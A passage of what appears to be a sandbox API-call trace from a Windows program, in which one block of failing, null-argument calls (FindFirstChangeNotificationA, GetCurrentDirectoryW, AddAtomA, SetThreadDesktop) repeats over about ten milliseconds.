bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.120] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.120] GetLastError () returned 0x3 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.120] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.120] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.120] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.120] GetLastError () returned 0x3 [0042.120] AddAtomA (lpString=0x0) returned 0x0 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.121] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.121] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.121] GetLastError () returned 0x3 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.121] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.121] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.121] GetLastError () returned 0x3 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.121] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.121] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.121] GetLastError () returned 0x3 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.121] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.121] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.121] GetLastError () returned 0x3 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.121] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.121] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.121] GetLastError () returned 0x3 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.121] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.121] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.121] GetLastError () returned 0x3 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.121] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.121] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.121] GetLastError () returned 0x3 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] AddAtomA (lpString=0x0) returned 0x0 [0042.121] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.121] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.122] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.122] GetLastError () returned 0x3 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.122] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.122] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.122] GetLastError () returned 0x3 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.122] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.122] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.122] GetLastError () returned 0x3 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.122] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.122] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.122] GetLastError () returned 0x3 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.122] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.122] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.122] GetLastError () returned 0x3 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.122] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.122] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.122] GetLastError () returned 0x3 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] AddAtomA (lpString=0x0) returned 0x0 [0042.122] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.123] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.123] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.123] GetLastError () returned 0x3 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.123] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.123] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.123] GetLastError () returned 0x3 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.123] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.123] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.123] GetLastError () returned 0x3 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.123] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.123] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.123] GetLastError () returned 0x3 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.123] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.123] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.123] GetLastError () returned 0x3 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.123] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.123] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.123] GetLastError () returned 0x3 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.123] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.123] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.123] GetLastError () returned 0x3 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] AddAtomA (lpString=0x0) returned 0x0 [0042.123] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.123] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.123] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.123] GetLastError () returned 0x3 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.124] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.124] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.124] GetLastError () returned 0x3 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.124] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.124] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.124] GetLastError () returned 0x3 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.124] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.124] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.124] GetLastError () returned 0x3 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.124] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.124] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.124] GetLastError () returned 0x3 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.124] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.124] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.124] GetLastError () returned 0x3 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.124] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.124] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.124] GetLastError () returned 0x3 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.124] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.124] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.124] GetLastError () returned 0x3 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] AddAtomA (lpString=0x0) returned 0x0 [0042.124] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.125] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.125] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.125] GetLastError () returned 0x3 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.125] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.125] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.125] GetLastError () returned 0x3 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.125] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.125] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.125] GetLastError () returned 0x3 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.125] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.125] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.125] GetLastError () returned 0x3 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.125] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.125] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.125] GetLastError () returned 0x3 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.125] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.125] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.125] GetLastError () returned 0x3 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.125] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.125] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.125] GetLastError () returned 0x3 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] AddAtomA (lpString=0x0) returned 0x0 [0042.125] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.125] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.125] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.125] GetLastError () returned 0x3 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.126] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.126] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.126] GetLastError () returned 0x3 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.126] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.126] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.126] GetLastError () returned 0x3 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.126] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.126] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.126] GetLastError () returned 0x3 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.126] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.126] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.126] GetLastError () returned 0x3 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.126] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.126] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.126] GetLastError () returned 0x3 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.126] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.126] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.126] GetLastError () returned 0x3 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] AddAtomA (lpString=0x0) returned 0x0 [0042.126] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.127] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.127] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.127] GetLastError () returned 0x3 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.127] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.127] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.127] GetLastError () returned 0x3 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.127] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.127] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.127] GetLastError () returned 0x3 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.127] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.127] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.127] GetLastError () returned 0x3 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.127] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.127] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.127] GetLastError () returned 0x3 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.127] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.127] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.127] GetLastError () returned 0x3 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.127] AddAtomA (lpString=0x0) returned 0x0 [0042.128] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.128] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.128] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.128] GetLastError () returned 0x3 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.128] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.128] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.128] GetLastError () returned 0x3 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.128] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.128] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.128] GetLastError () returned 0x3 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.128] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.128] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.128] GetLastError () returned 0x3 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.128] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.128] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.128] GetLastError () returned 0x3 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.128] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.128] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.128] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.128] GetLastError () returned 0x3 [0042.128] AddAtomA (lpString=0x0) returned 0x0 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.129] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.129] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.129] GetLastError () returned 0x3 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.129] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.129] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.129] GetLastError () returned 0x3 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.129] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.129] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.129] GetLastError () returned 0x3 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.129] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.129] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.129] GetLastError () returned 0x3 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.129] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.129] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.129] GetLastError () returned 0x3 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.129] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.129] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.129] GetLastError () returned 0x3 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] AddAtomA (lpString=0x0) returned 0x0 [0042.129] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.129] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.129] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.130] GetLastError () returned 0x3 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.130] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.130] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.130] GetLastError () returned 0x3 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] AddAtomA (lpString=0x0) returned 0x0 [0042.130] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.130] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.130] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: 